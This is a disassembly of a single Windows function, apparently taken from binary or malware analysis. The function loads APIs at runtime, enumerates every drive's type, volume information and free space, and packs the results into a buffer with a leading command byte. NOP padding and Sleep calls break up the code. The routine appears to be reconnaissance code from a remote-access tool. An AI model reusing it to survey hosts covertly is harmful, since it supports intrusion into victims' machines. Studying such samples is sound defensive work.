Function at 0x405660
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7a8
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.FreeLibrary
mov dword [ebp - 0x44], ecx
push str.kernel32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.GetLogicalDriveStringsA
push str.KERNEL32.dll
mov dword [ebp - 0x40], eax
call edi
push eax
call esi
push str.GetVolumeInformationA
push str.kernel32.dll
mov ebx, eax
call edi
push eax
call esi
mov dword [ebp - 0x3c], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.GetDriveTypeA
push str.KERNEL32.dll
call edi
push eax
call esi
push str.GetDiskFreeSpaceExA
push str.KERNEL32.dll
mov dword [ebp - 0x2c], eax
call edi
push eax
call esi
push str.lstrlenA
push str.KERNEL32.dll
mov dword [ebp - 0x34], eax
call edi
push eax
call esi
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x248]
push eax
push 0x100
mov byte [ebp - 0x7a8], 0x67
call ebx
lea ebx, [ebp - 0x248]
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
push str.Shell32.dll
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
call edi
mov edi, eax
push str.SHGetFileInfoA
push edi
mov dword [ebp - 0x38], edi
call esi
mov dword [ebp - 0x30], eax
mov al, byte [ebp - 0x248]
mov esi, 1
test al, al
mov dword [ebp - 0x14], esi
je 0x4058a0
jmp 0x40575d
mov esi, dword [ebp - 0x14]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x148]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x148]
push ecx
push eax
push eax
push eax
push eax
push eax
push ebx
call dword [ebp - 0x3c]
push 0x410
lea edx, [ebp - 0x3a8]
push 0x160
push edx
push 0x80
push ebx
call dword [ebp - 0x30]
lea eax, [ebp - 0x298]
push eax
call dword [ebp - 0x18]
mov edi, eax
lea ecx, [ebp - 0x148]
inc edi
push ecx
mov dword [ebp - 0x24], edi
call dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x28], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [ebx]
cmp al, 0x41
je 0x405808
cmp al, 0x42
je 0x405808
lea edx, [ebp - 8]
push 0
lea eax, [ebp - 0x10]
push edx
push eax
push ebx
call dword [ebp - 0x34]
test eax, eax
je 0x405808
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov ecx, 0x14
call fcn.0041be00
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x10]
mov ecx, 0x14
call fcn.0041be00
jmp 0x40580d
xor eax, eax
mov dword [ebp - 0x20], eax
mov cl, byte [ebx]
push ebx
mov dword [ebp - 0x1c], eax
mov byte [ebp + esi - 0x7a8], cl
call dword [ebp - 0x2c]
mov edx, dword [ebp - 0x20]
mov byte [ebp + esi - 0x7a7], al
mov eax, dword [ebp - 0x1c]
mov dword [ebp + esi - 0x7a6], edx
mov dword [ebp + esi - 0x7a2], eax
mov eax, dword [ebp - 0x14]
mov ecx, edi
lea esi, [ebp - 0x298]
mov edx, ecx
lea edi, [ebp + eax - 0x79e]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [ebp - 0x24]
and ecx, 3
add edx, eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x28]
lea edi, [ebp + edx - 0x79e]
mov edx, ecx
lea esi, [ebp - 0x148]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
mov edx, dword [ebp - 0x24]
add ecx, edx
lea eax, [eax + ecx + 0xa]
mov dword [ebp - 0x14], eax
call dword [ebp - 0x18]
lea ebx, [ebx + eax + 1]
cmp byte [ebx], 0
jne 0x40575a
mov edi, dword [ebp - 0x38]
mov esi, dword [ebp - 0x14]
push edi
call dword [ebp - 0x40]
lea ecx, [ebp - 0x7a8]
push esi
push ecx
mov ecx, dword [ebp - 0x44]
call fcn.004089a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret